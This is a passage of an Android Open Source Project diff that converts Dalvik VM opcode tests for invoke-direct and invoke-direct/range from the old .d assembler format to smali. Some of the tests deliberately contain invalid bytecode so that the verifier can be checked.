+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_direct/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..f3c690e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_direct/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/T_invoke_direct_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/T_invoke_direct_26.smali
new file mode 100644
index 0000000..0e044fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_26.smalis/T_invoke_direct_26.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_26;
+.super Ldot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl;
+.source "T_invoke_direct_26.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d
deleted file mode 100644
index 0ac6b37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_27.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_27
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test()V
-    return-void
-.end method
-
-.method public static run()V
-.limit regs 3
-
-       new-instance v0, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27
-       
-       invoke-direct {v0}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27/test()V
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.smali
new file mode 100644
index 0000000..5cc1b25
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_27.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_27;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_27.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_27;
+
+    invoke-direct {v0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_27;->test()V
+
+    return-void
+.end method
+
+.method private test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.d
deleted file mode 100644
index 6aa7821..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_3.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali
new file mode 100644
index 0000000..06de64e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_3.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_3;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d
deleted file mode 100644
index ed919f9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_4.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_4
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-    invoke-direct {}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4/<clinit>()V
-    return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.smali
new file mode 100644
index 0000000..8cc1d91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_4;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_4.java"
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-direct {}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_4;-><clinit>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.d
deleted file mode 100644
index c4dac34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_5.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali
new file mode 100644
index 0000000..2b77d32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_5.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_5;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.d
deleted file mode 100644
index 6bb8833..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_6.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V    
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/toIntPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali
new file mode 100644
index 0000000..61a123b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_6.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_6.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V    
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;->toIntPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.d
deleted file mode 100644
index 13432bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_7.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7/toInt()I
-       const v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali
new file mode 100644
index 0000000..8e34bb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_7.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_7;->toInt()I
+       const v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.d
deleted file mode 100644
index 99b510b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_8.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/4 v1, 0
-       invoke-direct {v1}, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_8/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali
new file mode 100644
index 0000000..a370405
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_8.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_8.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/4 v1, 0
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_8;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d
deleted file mode 100644
index 262b5ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_9.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_9/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method private native toInt()I
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.smali
new file mode 100644
index 0000000..33e04b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_9.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_9;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private native toInt()I
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_9;->toInt()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.d
deleted file mode 100644
index 7123eb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_1.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_1
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/TSuper/toInt()I
-       move-result v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali
new file mode 100644
index 0000000..c3f2d15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_1;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toInt()I
+       move-result v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.d
deleted file mode 100644
index 2dcf576..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_10.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v0, 1222
-       invoke-direct/range {v0}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali
new file mode 100644
index 0000000..cfc20b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
